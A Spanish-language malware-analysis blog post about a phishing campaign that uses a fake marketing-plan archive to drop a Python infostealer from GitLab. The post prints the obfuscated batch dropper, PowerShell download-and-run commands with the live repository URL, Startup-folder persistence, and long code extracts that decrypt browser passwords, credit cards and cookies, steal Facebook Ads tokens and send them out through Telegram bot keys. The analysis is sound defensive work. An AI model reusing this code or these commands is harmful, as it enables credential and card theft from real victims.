Análisis de Malware en python servido desde Gitlab.com

Ic32K
8 min readAug 12, 2023

Hoy vamos a ver el análisis de un ataque que ha recibido un cliente, usa un payload descargado de gitlab.com, el malware es un script de python que sólo es marcado por 2 proveedores de virustotal

A ese le han contactado y le han hecho una propuesta de una campaña de márketing de complementos de mujer, la campaña está bien hecha ya que la acompañaron de vídeos y fotos de modelos mostrando distintos productos, está claro que han robado el trabajo de una empresa de marqueting de verdad y han incluido una “sorpresita” en el formulario a rellenar para comenzar los trabajos. Si no es así estos criminales seguro podría abrir su propia empresa de marketing ;-)

Esta campaña viene en un comprimido llamado ‘A.Digital Marketing Plan 2023 — Obag Handbags’

El cual contiene imágenes y vídeos correspondientes a la supuesta campaña, y un archivo .src de 804Mb

Una vez extraído dicho archivo vemos que tiene el icono de un PDF:

Al pasarlo por la utilidad file vemos que en realidad se trata de un ejecutable:

Al pasarlo por Ghidra vemos que se trata de un .Net

Por lo que usamos DotPeek para acceder a su código fuente, pero primero lo renombramos .exe ya que sino no nos lo deja abrir.

Una vez abierto buscamos por el ensamblado el inicio de la aplicacion y encontramos ParentApp que contiene Form1:

Vemos que hay una variable llamada base64:

public static string base64 = "//4NCkBlY2hvIG9mZg0Kc2V0IGRnPXYNCnNldCBhUT1pDQpzZXQgY0E9cA0Kc2V0IFNBPUgNCnNldGxvY2FsIEVuYWJsZURlbGF5ZWRFeHBhbnNpb24NCnNldCBNdz0zDQpzZXQgWkE9ZA0Kc2V0IFNRPUkNCnNldCBaUT1lDQpzZXQgUkE9RA0Kc2V0IFlRPWENCnNldCBjdz1zDQpzZXQgVUE9UA0Kc2V0IE1RPTENCnNldCBZdz1jDQpzZXQgUmc9Rg0Kc2V0IExnPS4NCnNldCBPdz07DQpzZXQgT2c9Og0Kc2V0IFpnPWYNCnNldCBkUT11DQpzZXQgSUE9IA0Kc2V0IFZRPVUNCnNldCBadz1nDQpzZXQgVnc9Vw0Kc2V0IGFBPWgNCnNldCBZZz1iDQpzZXQgUXc9Qw0Kc2V0IGJBPWwNCnNldCBiZz1uDQpzZXQgZEE9dA0Kc2V0IFRnPU4NCnNldCBPQT04DQpzZXQgSnc9Jw0Kc2V0IGVRPXkNCnNldCBidz1vDQpzZXQgZHc9dw0Kc2V0IGNnPXINCnNldCBiUT1tDQpzZXQgWEE9XA0Kc2V0IE1BPTANCnNldCBMUT0tDQpzZXQgVWc9Ug0Kc2V0IFV3PVMNCnNldCBhdz1rDQpzZXQgZUE9eA0Kc2V0IGNRPXENCnNldCBUdz1PDQpzZXQgTHc9Lw0Kc2V0IE1nPTINCmNscw0KJVF3JSVPZyUlWEElJVZ3JSVTUSUlVGclJVJBJSVUdyUlVnclJVV3JSVYQSUlVXclJWVRJSVjdyUlZEElJVpRJSViUSUlTXclJU1nJSVYQSUlVnclJWFRJSViZyUlWkElJWJ3JSVkdyUlY3clJVVBJSVidyUlZHclJVpRJSVjZyUlVXclJWFBJSVaUSUlYkElJWJBJSVYQSUlZGclJU1RJSVMZyUlTUElJVhBJSVjQSUlYnclJWR3JSVaUSUlY2clJWN3JSVhQSUlWlElJWJBJSViQSUlTGclJVpRJSVlQSUlWlElJUlBJSVMUSUlZHclJWFRJSViZyUlWkElJWJ3JSVkdyUlY3clJWRBJSVlUSUlYkElJVpRJSVJQSUlYUElJWFRJSVaQSUlWkElJVpRJSViZyUlSUElJVNRJSViZyUlZGclJWJ3JSVhdyUlWlElJUxRJSVWdyUlWlElJVlnJSVVZyUlWlElJWNRJSVkUSUlWlElJWN3JSVkQSUlSUElJUxRJSVWUSUlY2clJWFRJSVJQSUlYUElJWRBJSVkQSUlY0ElJWN3JSVPZyUlTHclJUx3JSVadyUlYVElJWRBJSViQSUlWVElJVlnJSVMZyUlWXclJWJ3JSViUSUlTHclJVpnJSVaZyUlYUElJVpnJSVadyUlYUElJVp3JSVhQSUlTUElJU13JSVMdyUlTUElJU13JSVjQSUlY2clJWJ3JSVNQSUlTXclJUx3JSVMUSUlTHclJWNnJSVZUSUlZHclJUx3JSViUSUlWVElJWFRJSViZyUlTHclJVlnJSVZUSUlZEElJU1RJSVNQSUlTUElJU9BJSVSQSUlU1ElJU1RJSVJQSUlTFElJVR3JSVkUSUlZEElJVJnJSVhUSUlYkElJVpRJSVJQSUlSnclJVF3JSVPZyUlWEElJVZRJSVjdyUlWlElJWNnJSVjdyUlWEElJVVBJSVkUSUlWWclJWJBJSVhUSUlWXclJVhBJSVjQSUlZFElJVlnJSViQSUlYVElJVl3JSVZdyUlTGclJVlnJSVZUSUlZEElJUp3JSVPdyUlSUElJVV3JSVkQSUlWVElJWNnJSVkQSUlTFElJVVBJSVjZyUlYnclJVl3JSVaUSUlY3clJWN3JSVJQSUlTFElJVZ3JSVhUSUlYmclJVpBJSVidyUlZHclJVV3JSVkQSUlZVElJWJBJSVaUSUlSUElJVNBJSVhUSUlWkElJVpBJSVaUSUlYmclJUlBJSVMUSUlUmclJWFRJSViQSUlWlElJVVBJSVZUSUlZEElJWFBJSVJQSUlSnclJVF3JSVPZyUlWEElJVZRJSVjdyUlWlElJWNnJSVjdyUlWEElJVVBJSVkUSUlWWclJWJBJSVhUSUlWXclJVhBJSVjQSUlZFElJVlnJSViQSUlYVElJVl3JSVZdyUlTGclJVlnJSVZUSUlZEElJUp3JQ==";

Una función llamada ‘heherun’ se encarga de decodificar el base64, guardarlo en el archivo ‘C:\Users\Public\pub.bat’ y ejecutarlo:

public static void heherun(
{
try
{
Program.InstallExeFromBase64(Program.base64, Program.output_path);
ProcessStartInfo processStartInfo = new ProcessStartInfo()
{
FileName = Program.output_path,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process process = new Process())
{
process.StartInfo = processStartInfo;
process.Start();
process.WaitForExit();
}
}
      catch (Exception ex) { }
}
public static void InstallExeFromBase64(string base64Content, string outputPath)
{
byte[] numArray = Convert.FromBase64String(base64Content);
using (FileStream fileStream = new FileStream(outputPath, (FileMode) 2))
((Stream) fileStream).Write(numArray, 0, numArray.Length);
}
})

Decodificamos el base64 y obtenemos el código del .bat:

@echo off
set dg=v
set aQ=i
set cA=p
set SA=H
setlocal EnableDelayedExpansion
set Mw=3
set ZA=d
set SQ=I
set ZQ=e
set RA=D
set YQ=a
set cw=s
set UA=P
set MQ=1
set Yw=c
set Rg=F
set Lg=.
set Ow=;
set Og=:
set Zg=f
set dQ=u
set IA=
set VQ=U
set Zw=g
set Vw=W
set aA=h
set Yg=b
set Qw=C
set bA=l
set bg=n
set dA=t
set Tg=N
set OA=8
set Jw='
set eQ=y
set bw=o
set dw=w
set cg=r
set bQ=m
set XA=\
set MA=0
set LQ=-
set Ug=R
set Uw=S
set aw=k
set eA=x
set cQ=q
set Tw=O
set Lw=/
set Mg=2
cls%Qw%%Og%%XA%%Vw%%SQ%%Tg%%RA%%Tw%%Vw%%Uw%%XA%%Uw%%eQ%%cw%%dA%%ZQ%%bQ%%Mw%%Mg%%XA%%Vw%%aQ%%bg%%ZA%%bw%%dw%%cw%%UA%%bw%%dw%%ZQ%%cg%%Uw%%aA%%ZQ%%bA%%bA%%XA%%dg%%MQ%%Lg%%MA%%XA%%cA%%bw%%dw%%ZQ%%cg%%cw%%aA%%ZQ%%bA%%bA%%Lg%%ZQ%%eA%%ZQ%%IA%%LQ%%dw%%aQ%%bg%%ZA%%bw%%dw%%cw%%dA%%eQ%%bA%%ZQ%%IA%%aA%%aQ%%ZA%%ZA%%ZQ%%bg%%IA%%SQ%%bg%%dg%%bw%%aw%%ZQ%%LQ%%Vw%%ZQ%%Yg%%Ug%%ZQ%%cQ%%dQ%%ZQ%%cw%%dA%%IA%%LQ%%VQ%%cg%%aQ%%IA%%aA%%dA%%dA%%cA%%cw%%Og%%Lw%%Lw%%Zw%%aQ%%dA%%bA%%YQ%%Yg%%Lg%%Yw%%bw%%bQ%%Lw%%Zg%%Zg%%aA%%Zg%%Zw%%aA%%Zw%%aA%%MA%%Mw%%Lw%%MA%%Mw%%cA%%cg%%bw%%MA%%Mw%%Lw%%LQ%%Lw%%cg%%YQ%%dw%%Lw%%bQ%%YQ%%aQ%%bg%%Lw%%Yg%%YQ%%dA%%MQ%%MA%%MA%%OA%%RA%%SQ%%MQ%%IA%%LQ%%Tw%%dQ%%dA%%Rg%%aQ%%bA%%ZQ%%IA%%Jw%%Qw%%Og%%XA%%VQ%%cw%%ZQ%%cg%%cw%%XA%%UA%%dQ%%Yg%%bA%%aQ%%Yw%%XA%%cA%%dQ%%Yg%%bA%%aQ%%Yw%%Yw%%Lg%%Yg%%YQ%%dA%%Jw%%Ow%%IA%%Uw%%dA%%YQ%%cg%%dA%%LQ%%UA%%cg%%bw%%Yw%%ZQ%%cw%%cw%%IA%%LQ%%Vw%%aQ%%bg%%ZA%%bw%%dw%%Uw%%dA%%eQ%%bA%%ZQ%%IA%%SA%%aQ%%ZA%%ZA%%ZQ%%bg%%IA%%LQ%%Rg%%aQ%%bA%%ZQ%%UA%%YQ%%dA%%aA%%IA%%Jw%%Qw%%Og%%XA%%VQ%%cw%%ZQ%%cg%%cw%%XA%%UA%%dQ%%Yg%%bA%%aQ%%Yw%%XA%%cA%%dQ%%Yg%%bA%%aQ%%Yw%%Yw%%Lg%%Yg%%YQ%%dA%%Jw%%f

Vemos que la ejecución del bat establece una serie de variables, que son sustituidas en el momento de la ejecución, realizamos la sustitución con un pequeño script de python y obtenemos el siguiente comando de powershell:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -Uri httrequest -Uri https://gitlab.com/ffhfghgh03/03pro03/-/raw/main/bat1008DI1 -OutFile 'C:\Users\Public\publicc.bat'; Start-Process -WindowStyle Hidden -FilePath 'C:\Users\Public\publicc.bat'

Este comando usa Ivoke-WebRequest para descargar un archivo llamado “bat1008DI1” que se guarda con el nombre “publicc.bat” en “C:\Users\Public”, para inmediatmente después ser ejecutado en una ventana oculta.

El archivo es descargado del siguiente repositorio de gitlab “https://gitlab.com/ffhfghgh03/03pro03/", que al momenot de escribir esta lineas sigue activo y con actividad reciente, y como podemos ver tiene varios artefactos almacenados, estos son droppers, payloads y diferents archivos usados durante el ataque

Nos hemos descargamos el archivo y vemos que se trata de un dropper con 5 stages:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://gitlab.com/ffhfghgh03/03pro03/-/raw/main/startu
-OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI
https://gitlab.com/ffhfghgh03/03pro03/-/raw/main/Python310__1___1_.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document; C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI
https://gitlab.com/ffhfghgh03/03pro03/-/raw/main/bot1008DI1 -OutFile C:\\Users\\Public\\Document\\libb1.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\libb1.py;

1- Se baja un archivo llamado “startup” que se guarda con el nombre de “WindowsSecure.bat” en la carpeta de Startup Programs de Windows para que se ejecute en cada reinicio

Este archivo “startup” ahora llamado “WindowsSecure.bat” se encarga de ejecutar un script de python llamado “libb1.py” que será descargado en el paso 4

cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\libb1.py;

2- Baja un comprimido con la version 3.10 de Python y lo guarda como “Document.zip” en “C:\Users\Public

3- Descomprime el contenido de Document.zip en “C:\Users\Public\Document\

4- Baja un archivo del mismo repositorio de gitlab llamado “bot1008DI1” y lo guarda con el nombre de “libb1.py” el cual sabemos que se ha programado para que se ejecute tras cada reinicio en el punto 1

5- Se realiza una primera ejecución del script malicioso

Nos descargamos el archivo “bot1008DI1” y lo primero que vemos con unas API keys probablemente de Telegram y tambien guarda datos como usuario, hostname, IP, país y fecha en distintas variables:

import os,json,shutil,win32crypt,hmac,platform,sqlite3,base64,random,requests,pyautogui
from datetime import datetime,timedelta
from Crypto.Cipher import DES3
from Crypto.Cipher import AES
from pyasn1.codec.der import decoder
from hashlib import sha1, pbkdf2_hmac
from Crypto.Util.Padding import unpad
from base64 import b64decode
'''id bot'''
idbot = "bat_1008-11-DI1"
'''data lan 1'''
apibot1='6382154051:AAEoHHFr_Uvy5fy892bQfF36EOgxkZ6knkM'
id1 = "-1001900791678"
'''data update'''
apibot2='6382154051:AAEoHHFr_Uvy5fy892bQfF36EOgxkZ6knkM'
id2 = "-1001859298499"
hostname = os.getenv("COMPUTERNAME")
usernamex = os.getlogin()
windows_version = platform.platform()
now = datetime.now()
response =requests.get("https://ipinfo.io").text
ip_country = json.loads(response)
ten_country = ip_country['region']
city = ip_country['city']
ip = ip_country['ip']
country_code = ip_country['country']
newtime = str(now.hour) + "h" +str(now.minute)+"m"+str(now.second)+"s"+"-"+str(now.day)+"-"+str(now.month)+"-"+str(now.year)
name_f = country_code +" "+ idbot +" "+newtime

Con la función “check_chrome_running()” comprueba si se ejecuta el navegador Google Chrome, la funcion “find_profile(path_userdata)” busca en las carpetas de sistema del usuario aquellas que empiecen por “Profile” o que se llamen “Default”

Luego tenemos una serie de funciones “get_browsername()” que se encargan de extraer las cookies y los datos de inicios de sesión guardados de los principales nevegadores Chrome, Edge, Firefox, Brave, etc

Incluyo el extracto de la de chrome ya que son todas mas o menos idénticas

def get_chrome(data_path,chrome_path)
data_chrome = os.path.join(data_path, "Chrome");os.mkdir(data_chrome)
profiles = find_profile(chrome_path)
for i,profile in enumerate(profiles, 1):
os.mkdir(os.path.join(data_chrome,"profile"+str(i)))
def copy_file():
try:
if os.path.exists(os.path.join(profile,'Network','Cookies')):
shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_chrome,"profile"+str(i),'Cookies'))
except:
if check_chrome_running():
os.system('taskkill /f /im chrome.exe')
os.system('taskkill /f /im chrome.exe')
os.system('taskkill /f /im chrome.exe')
if os.path.exists(os.path.join(profile,'Network','Cookies')):
shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_chrome,"profile"+str(i),'Cookies'))
            if os.path.exists(os.path.join(profile,'Login Data')):
shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_chrome,"profile"+str(i),'Login Data'))
if os.path.exists(os.path.join(profile,'Web Data')):
shutil.copyfile(os.path.join(profile,'Web Data'),os.path.join(data_chrome,"profile"+str(i),'Web Data'))
if os.path.exists(os.path.join(chrome_path,'Local State')):
shutil.copyfile(os.path.join(chrome_path,'Local State'),os.path.join(data_chrome,"profile"+str(i),'Local State'))
nem_profile = "profile"+str(i)
copy_file();delete_file(data_path,"Chrome",nem_profile):

Una función llamada “get_market()” se encarga de intentar obtener los tokens de Facebook AdsManager

def get_market(cookies,headers)
rq = requests.get('https://adsmanager.facebook.com/adsmanager/manage',cookies=cookies,headers=headers)
list_data = rq.text
x = list_data.split("act=")
idx = x[1].split('&')[0]
id = 'act_'+idx
rq = requests.get(f'https://adsmanager.facebook.com/adsmanager/manage/campaigns?act={idx}',cookies=cookies,headers=headers)
list_token = rq.text
x_token = list_token.split('{window.__accessToken="')
token = (x_token[1].split('";')[0])
return id,token:

Seguido tenemos una funcion llamada “encrypt()” que es la encargada de guardar toda la información extraida de forma segura en diferentes archivos SQLite3 cifrados usando AES:

def encrypt(data_path,name_bz,name_profile)
key_db = os.path.join(data_path ,name_bz,name_profile,"Local State")
login_db = os.path.join(data_path ,name_bz,name_profile,"Login Data")
cookie_db = os.path.join(data_path ,name_bz,name_profile,"Cookies")
credit_db=os.path.join(data_path ,name_bz,name_profile,"Web Data")
with open(key_db, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]:
....

En la base de datos “login_db”, guarda datos de inicio de sesión:

conn = sqlite3.connect(login_db
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
iv = encrypted_password[3:15]
payload = encrypted_password[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_password = decrypted_pass[:-16].decode()
with open((os.path.join(data_path, "pass.txt")), 'a',encoding='utf-8') as f:
f.write("URL: " + url + "\nUSERNAME: " + username + "\nPASS: " + decrypted_password +"\n\nAPPLICATION: "+name_bz+"-"+name_profile+"\n\n"+50*'*'+"\n"))

En la base de datos “credit_db” guarda datos extraidos de tarjetas de credito almacenadas en los distintos navegadores:

db_cre = sqlite3.connect(credit_db):
cursor_credit = db_cre.cursor()
cursor_credit.execute("SELECT * FROM credit_cards")
rows1 = cursor_credit.fetchall()
for row1 in rows1:
encrypted_credit = row1[4]
iv1 = encrypted_credit[3:15]
payload1 = encrypted_credit[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv1)
decrypted_cre = cipher.decrypt(payload1)
decrypted_credit= decrypted_cre[:-16].decode()
with open((os.path.join(os.environ["TEMP"], name_f, "credit.txt")), 'a',encoding='utf-8') as f:
f.write("số thẻ : "+str(decrypted_credit) +"\nNgày hết Hạn : "+str(row1[2])+"/"+str(row1[3])+"\nTên : "+str(row1[1])+"\nBiệt hiệu : "+str(row1[10]+"\n\n")))

En la base de datos “cookie_db” guarda los datos de las cookies de sesión almacenadas:

conn2 = sqlite3.connect(cookie_db
conn2.text_factory = lambda b: b.decode(errors="ignore")
cursor2 = conn2.cursor()
cursor2.execute("""
SELECT host_key, name, value, encrypted_value,is_httponly,is_secure,expires_utc
FROM cookies
""")
json_data = []
for host_key, name, value,encrypted_value,is_httponly,is_secure,expires_utc in cursor2.fetchall():
if not value:
iv = encrypted_value[3:15]
encrypted_value = encrypted_value[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_value = cipher.decrypt(encrypted_value)[:-16].decode()
else:
decrypted_value = value
json_data.append({
"host": host_key,
"name": name,
"value": decrypted_value,
"is_httponly":is_httponly,
"is_secure":is_secure,
"expires_utc":expires_utc
})
        result = [])

Usando la cookie del AdsManager realiza una consulta http para obtener el token de acceso de developer de Facebook, por los comentarios en vietnamita del código fuente vemos que extrae y guarda los datos de pago de las diferentes campañas:

urlo = f"https://graph.facebook.com/v16.0/{xitem}/?fields=spend_cap,amount_spent,adtrust_dsl,adspaymentcycle,currency,account_status,disable_reason,name&access_token={token}"
x = requests.get(urlo,cookies=cookies,headers=headers)
data = x.json()
statut = data["account_status"]
if int(statut) ==1:
stt = "Live"
else:
stt = "Die"
name = data["name"]
id_tkqc = data["id"]
tien_te = data["currency"]
du_no = data["spend_cap"]
da_chi_tieu = data["amount_spent"]
limit_ngay = data["adtrust_dsl"]
try:
nguong_no = data["adspaymentcycle"]["data"][0]["threshold_amount"]
except:
nguong_no = "Không Thẻ"
with open((os.path.join(os.environ["TEMP"], name_f, "cookiefb.txt")), 'a',encoding='utf-8') as f:
f.write("\n\n"+"Tên TKQC:"+str(name)+"| ID_TKQC:"+str(id_tkqc)+"| Trang Thái :"+str(stt) +"| Tien:"+str(tien_te)+"| Đã Tiêu Vào Ngưỡng:"+str(du_no)+"| Tổng Đã Chi Tiêu:"+str(da_chi_tieu)+"| Limit Ngày: "+str(limit_ngay)+"| Ngưỡng Nợ: "+str(nguong_no)+ "\n\n\n")

Y aquí en la función “main()” tenemos la llamada al bot de Telegram usando las API keys que vimos al principio.

Realiza y guarda una captura de pantalla

def main()
so = demso()
number = "data lan thu " + str(so)
u2 = 'https://api.telegram.org/bot'+apibot2+'/sendDocument'
u1 = 'https://api.telegram.org/bot'+apibot1+'/sendDocument'
data_path = os.path.join(os.environ["TEMP"], name_f);os.mkdir(data_path)
data_path_ck = os.path.join(os.environ["TEMP"], name_f,"filecookie");os.mkdir(data_path_ck)
screenshot = pyautogui.screenshot()
screenshot.save(os.path.join(data_path,"screenshot.png"))
chrome = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data")
firefox = os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming","Mozilla", "Firefox", "Profiles")
Edge = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge", "User Data")
Opera = os.path.join(os.environ["USERPROFILE"], "AppData", "Roaming", "Opera Software", "Opera Stable")
Brave = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","BraveSoftware", "Brave-Browser", "User Data")
coccoc = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","CocCoc", "Browser", "User Data")
chromium = os.path.join(os.environ["USERPROFILE"], "AppData", "Local","Chromium", "User Data"):

Finalmente borra su rastro:

if os.path.exists(r'C:\Users\Public\pub.bat')
os.remove(r'C:\Users\Public\pub.bat')
if os.path.exists(r'C:\Users\Public\publicc.bat'):
os.remove(r'C:\Users\Public\publicc.bat')
if os.path.exists(r'C:\Users\Public\Document.zip'):
os.remove(r'C:\Users\Public\Document.zip')

Espero que hayáis disfrutado del análisism os mando un saludo a todos y os deseo un buen fin de semana!!!

--

--